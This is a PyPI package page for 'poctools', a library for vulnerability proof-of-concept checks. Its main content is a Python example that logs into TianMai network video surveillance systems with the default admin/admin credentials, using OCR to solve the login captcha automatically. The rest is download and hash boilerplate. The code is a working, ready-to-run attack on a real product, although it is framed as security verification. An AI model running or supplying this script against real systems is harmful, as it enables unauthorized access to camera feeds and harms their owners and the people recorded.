Skip to main content

poc common tool library

Project description

poctools

install

pip install poctools

example

from poctools import BasicPoc
from poctools.encrypt import md5
from poctools.ocr import new_number


class TianMaiNetworkVideoSurveillanceWeakCipherPoc(BasicPoc):
    jsessionid_uri = "/login.jsp"
    login_uri = "/j_login.auth"
    verify_code_uri = "/jsp/common/validateCode.jsp"

    def __init__(self):
        super(TianMaiNetworkVideoSurveillanceWeakCipherPoc, self).__init__()
        self.name = "天迈网络视频监控弱密码"

    def verify(self, url: str) -> bool:
        jsessionid_response = self.get(url + self.jsessionid_uri)
        if jsessionid_response is None:
            return False
        payload = {"j_apptype": "1", "j_username": "admin", "remember-me": False}
        while True:
            verify_code_response = self.get(url + self.verify_code_uri)
            if verify_code_response is None:
                return False
            code = new_number(verify_code_response.content)
            if len(code) != 4:
                continue
            payload.setdefault("validateCode", code)
            payload.setdefault("j_password", md5("admin" + code))
            login_response = self.post(url + self.login_uri, data=payload)
            if login_response is None:
                return False
            return login_response.status_code == 200 and "验证码有误" not in login_response.text


if __name__ == '__main__':
    target = "http://127.0.0.1:18080"
    tp = TianMaiNetworkVideoSurveillanceWeakCipherPoc()
    result = tp.run(target)
    print(f"{target} -> {result}")

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

poctools-0.0.4.tar.gz (4.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

poctools-0.0.4-py3-none-any.whl (6.6 kB view details)

Uploaded Python 3

File details

Details for the file poctools-0.0.4.tar.gz.

File metadata

  • Download URL: poctools-0.0.4.tar.gz
  • Upload date:
  • Size: 4.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7

File hashes

Hashes for poctools-0.0.4.tar.gz
Algorithm Hash digest
SHA256 1af44fc0f148b47229d136360c66ede1caa5e4d4b49bdd05f82f52bda5007ab0
MD5 6472a9fb8a12f2df2e130473d99f044e
BLAKE2b-256 98f15cd135d280b441c45c28db2ec6f39375e4e1b60f1098f6019d038bf7eb34

See more details on using hashes here.

File details

Details for the file poctools-0.0.4-py3-none-any.whl.

File metadata

  • Download URL: poctools-0.0.4-py3-none-any.whl
  • Upload date:
  • Size: 6.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.7.1 importlib_metadata/4.9.0 pkginfo/1.8.2 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.62.3 CPython/3.9.7

File hashes

Hashes for poctools-0.0.4-py3-none-any.whl
Algorithm Hash digest
SHA256 eeb7a8d55cd9babe668221c2f44183e8691fec407520a9b0e17e3a68ebffa3e6
MD5 28d2d8769574954184d90b1a046dfcdb
BLAKE2b-256 83c7749b6e5a5d24fff8dffa823a5567463d58a64c7f47167ebfd195b3bcdadd

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page